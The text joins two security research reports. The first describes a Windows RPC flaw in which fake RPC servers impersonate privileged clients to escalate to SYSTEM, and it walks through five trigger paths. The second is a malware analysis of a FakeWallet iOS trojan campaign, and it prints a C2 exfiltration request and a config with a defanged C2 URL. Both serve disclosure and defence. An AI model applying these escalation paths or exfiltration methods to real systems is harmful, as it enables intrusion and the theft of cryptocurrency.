In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.
I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.
Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.
MSRPC
Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.
The figure below illustrates this mechanism.
Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.
The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.
To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.
For example:
When TCP is used as the transport layer, the endpoint is a TCP port.
When SMB is used, communication occurs through a named pipe.
When ALPC is used, the endpoint is an ALPC port.
Each transport mechanism is associated with a specific RPC protocol sequence. For instance:
ncacn_ip_tcp is used for RPC over TCP.
ncacn_np is used for RPC over named pipes.
ncalrpc is used for RPC over ALPC.
In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.
For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.
When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.
Impersonation in Windows
In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.
This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.
To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.
However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.
These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.
As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.
Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.
At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.
This privilege is granted by default to certain service accounts, such as Local Service and Network Service.
Interaction between Group Policy service and TermService
The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.
When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.
At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.
TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.
When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:
UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
Endpoint: ncalrpc:[TermSrvApi].
Function: void Proc8(int).
However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:
0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).
This error indicates that the RPC client could not reach the target server.
Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.
The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.
The first two parameters include:
A pointer to the returned port handle.
The ALPC port name, represented as an ASCII string.
Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.
The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.
Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.
Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.
Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.
However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?
Could the attacker deploy a fake RPC server with the same endpoint?
If so, would the RPC runtime allow the client to connect to this illegitimate server?
And if the connection is successful, how could an attacker leverage this behavior?
Coercing the Group Policy service
To better understand the implications of the previously described behavior, let us consider the following attack scenario.
Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.
The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.
Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).
When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.
As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.
When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.
RPC architecture flow
Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.
Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.
However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.
As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.
Identifying RPC calls to unavailable servers
As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.
Specifically, I need to capture key RPC metadata, including:
Interface UUID, endpoint, and OPNUM.
Impersonation level and RPC status code.
Client process privilege level, process name, and module path.
This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.
The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.
Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.
ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:
RPC bindings
Endpoints
Interface UUIDs
Authentication details
Call flow and timing
RPC status codes
However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.
For an event to be relevant to this research, the exception must meet two conditions:
It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.
I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.
After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.
The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:
Status code
Client process name
Client process ID
Endpoint
After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.
However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.
By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:
Interface UUID
OPNUM
Impersonation level
After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:
The DLL where the RPC interface is implemented
The location of that DLL
The number of procedures exposed by the interface
To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.
At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.
One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.
In this research, I used several approaches to trigger such events:
Monitoring RPC activity during system startup
I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
Triggering administrative operations I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
Disabling services intentionally
After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.
Additional privilege escalation paths
After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.
User interaction: From Edge to RDP
Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.
As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.
The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.
However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.
When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.
As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.
Background services: From WDI to RDP
Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.
During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.
This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.
In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.
Abusing the Local Service account: From ipconfig to DHCP
Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.
The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.
In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.
As the figure below illustrates, the attacker can leverage this situation to escalate privileges.
After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.
When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.
As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.
Abusing Time
The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.
The service exposes an RPC server with two endpoints:
\PIPE\W32TIME_ALT
\RPC Control\W32TIME_ALT
The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.
An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.
As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.
Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.
Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.
In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.
Vulnerability disclosure
After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.
Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.
Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.
Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.
The disclosure timeline is shown below:
2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
2026-04-24: expected whitepaper publication date.
Detection and defense
As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.
Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.
I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.
By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.
It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.
Conclusion
All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.
Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
Technical details
Background
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
Malicious modules for hot wallets
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The extracted mnemonics are stringed together.
This string is encrypted using RSA with the PKCS #1 scheme.
The encrypted data is then encoded into Base64.
Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
Resolve symbols dataInit or processX0Parameter from the malicious library
Hand over control to these newly discovered functions
Execute the code for the original methods that the wrapper was built to replace
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The Ledger wallet malicious module
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.
The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigator
PrivateKeyVerifyScreen, embedded in MyLedgerNavigator
In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.
verify-wallet-config.json stores the C2 server configuration the malware is currently using.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
Other distribution channels, platforms, and the SparkKitty link
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Victims
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
Attribution
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Some infected apps contained SparkKitty modules alongside the FakeWallet code.
The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
Both campaigns specifically target victims’ cryptocurrency assets.
Conclusion
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.
Login
